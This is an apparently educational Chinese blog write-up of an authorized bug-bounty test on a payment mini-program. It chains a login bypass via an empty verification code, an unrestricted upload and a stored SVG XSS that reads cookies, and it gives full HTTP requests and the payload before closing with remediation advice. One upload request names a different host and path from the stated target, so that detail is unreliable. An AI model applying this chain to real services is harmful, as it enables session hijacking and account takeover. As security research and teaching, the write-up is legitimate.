【挖洞小记】针对某国外大厂,从逻辑绕过到存储型 XSS 的奇妙之旅

最近在一次授权的安全测试中,我遇到了一个看似无懈可击,实则暗藏玄机的某支付类小程序(下文简称 Target-App)。今天,我想和大家分享一下这个高危漏洞链的挖掘过程。它完美诠释了:有时候,一个小小的逻辑漏洞,加上一个未经过滤的上传接口,就能像蝴蝶效应一般,掀起一场直接控制管理员权限的风暴。

0x01 故事背景

“支付类小程序”、“微服务架构”、“Spring Boot 后端”……当这些标签同时出现时,大多数人的第一反应是:这骨头绝对难啃。现代 Web 框架的安全机制已经非常成熟,想在这里找到一个直接的 RCE 或者 SQL 注入,简直比抢到食堂最后一盘糖醋排骨还难。

一开始,我对这个小程序的测试也陷入了僵局。常规的注入测试全军覆没,越权访问也都被鉴权拦截。本以为到此为止了,然而,接下来的一个极度异常的登录数据包,推翻了我的所有假设。我顺藤摸瓜,不仅绕过了它的身份验证,还最终在它的服务器上种下了一段“隐形炸弹”。

0x02 信息收集

在信息搜集阶段,我首先梳理了目标资产。发现其核心业务主要集中在 api.example-app.com 这个域名下。

在抓包分析小程序与服务端的交互逻辑时,我的目光锁定在了一个用户登录接口上:/api/customer/login。
作为一个常年泡在安全社区的人,我的“第一直觉”告诉我,这种依赖手机号和验证码(AuthCode)登录的 API,往往是逻辑漏洞的重灾区。

是什么让我觉得这里有问题?
当你输入错误的验证码时,系统秒回 {“code”: 401, “msg”: “验证码错误”}。但是,如果我根本不传验证码,或者传空值呢?很多粗心的后端开发在写逻辑时,只校验了“匹配与否”,却忘记校验“是否为空”。

抱着试一试的心态,我将 Burp Suite 里的 authCode 参数置空,按下了发包键……


0x03 漏洞利用

这就是奇迹发生的时刻。我们将这次攻击分为三个步骤,层层递进。

步骤 1:第一块多米诺骨牌——身份验证绕过

我构造了如下的登录请求,故意将 authCode 留空,并随便编了一个手机号 0812XXXXXXX:

POST /api/customer/login HTTP/1.1
Host: api.example-app.com
Content-Type: application/json

{“authCode”:””,”mobile”:”0812XXXXXXX”,”mobileCountryCode”:”62″}

响应包并没有报错,而是直接返回了 HTTP 200,并在 Header 中优雅地吐出了一个至关重要的会话令牌:
Set-Cookie: td-app=[REDACTED_TOKEN]; Max-Age=…; Path=/

逻辑转换: 拿到这个 Token 的瞬间,我意识到我已经“无中生有”地获得了一个合法用户的身份。但这还不够,普通的低权限账户能做的事情有限,我需要寻找更大的攻击面

步骤 2:暗度陈仓——上传恶意 SVG 文件

有了合法的 td-app Cookie,我开始测试后台的功能,很快找到了一个文件上传接口 /api/common/upload。

测试发现,服务器是 Java (Spring Boot) 环境。即使我上传 .jsp 或 .php 文件,服务器虽然不拦截,但也不会解析执行(原样返回了文件内容),说明服务端没有过滤,但执行环境不支持。

既然无法直接 RCE,那能不能走前端攻击(Client-Side)的路子呢?
这时候,SVG (Scalable Vector Graphics) 进入了我的视线。很多开发者只把 SVG 当作普通图片,却忘了它本质上是 XML!而且它是允许内嵌 JavaScript 标签的。

我迅速构造了一个恶意的 SVG 文件:
(这里是重点:XML 结构允许我们嵌入恶意的 <script>,从而在浏览器解析图片时执行代码)

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
    <rect width="100%" height="100%"/>
</svg>

接着,利用刚刚拿到的越权身份,将这颗“炸弹”投递了出去:

POST /muslim-prayer-app-api/common/upload HTTP/1.1
Host: taqwa.xxx.io
Content-Type: multipart/form-data; boundary=boundary_svgxss
td-app: fd6fe556-70f2-4a7c-9cbd-af23d52fcdc5
X-YesWeHack-Research: Seattle_Netshield

--boundary_svgxss
Content-Disposition: form-data; name="file"; filename="xss.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <rect width="100%" height="100%"/>
</svg>
--boundary_svgxss--

响应包很配合地返回了 {“code”:200, “msg”:”请求成功”, “url”:”https://api.example-app.com/file/…/xss.svg”}

步骤 3:致命一击——XSS 触发

现在,炸弹已经安放完毕。当任何用户(包括最高权限的管理员)在浏览器中直接访问这个 SVG 文件的 URL 时,浏览器会将其渲染为图片,并无缝触发 onload 事件中的 JavaScript 代码

我自己在浏览器中打开了那个链接,熟悉的 alert 弹窗如约而至,上面赫然显示着我当前的 td-app Cookie 值。

0x04 漏洞影响

不要小看这个弹窗,如果是在真实的攻防对抗场景中,后果将是毁灭性的:

  1. 静默的会话劫持:
    细心的师傅们可能注意到了,系统下发的 td-app Cookie 竟然没有设置 HttpOnly 属性!这意味着 JavaScript 可以毫无阻碍地读取它。攻击者只需将 payload 稍作修改,让其悄悄把 Cookie 发送到自己的服务器上,就能实现管理员会话劫持(Account Takeover)。
  2. 钓鱼与社会工程学:
    除了 SVG,既然上传接口完全“不设防”,攻击者完全可以上传一个精心伪造的 HTML 钓鱼页面。由于链接挂着官方域名(api.example-app.com),域名信誉极高,这对于进行针对性的社工钓鱼来说,简直是神兵利器。
  3. 核弹级漏洞链:
    独立来看,这只是一个业务逻辑漏洞和一个存储型 XSS。但组合在一起就是:免密登录认证绕过 → 无限制文件上传 → 投递恶意恶意脚本 → 诱骗管理员点击 → 窃取高权 Cookie。一条丝滑的攻击链路就此诞生。

0x05 防御与反思

从攻击者回归建设者,这个漏洞链暴露出目标在防御纵深上的严重缺失。作为给开发大佬们的“期末作业批改”,我建议从以下几个维度进行加固:

  • 身份校验的严谨性 (Root Cause 1):
    永远不要相信前端传来的数据。对于验证码校验,必须严格判断:if (authCode == null || authCode.isEmpty()) return false;,拒绝一切空值绕过。
  • 给 Cookie 穿上防弹衣:
    会话标识(如 td-app)必须打上 HttpOnly 标记,彻底阻断 XSS 窃取 Cookie 的可能。
  • 文件上传的“隔离审查” (Root Cause 2):
    • 白名单机制: 严格限制允许上传的后缀名。
    • 内容清洗: 即使允许上传 SVG,也必须在服务端使用 XML 解析器对其进行清洗,剔除 <script> 和 onload 等危险标签。
    • 架构解耦: 强烈建议将用户上传的文件托管到独立的域名下(如 OSS 存储桶),并强制设置 HTTP 响应头 Content-Disposition: attachment,让浏览器直接下载文件而不是在当前上下文中渲染。

挖掘这个漏洞链的过程,就像是在解开一道精密的数学题。技术没有黑白,关键在于我们如何使用它。希望这篇文章能给正在学习 Web 安全的各位师傅(尤其是和我一样的大学生们)带来一些启发!我们下篇文章见!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注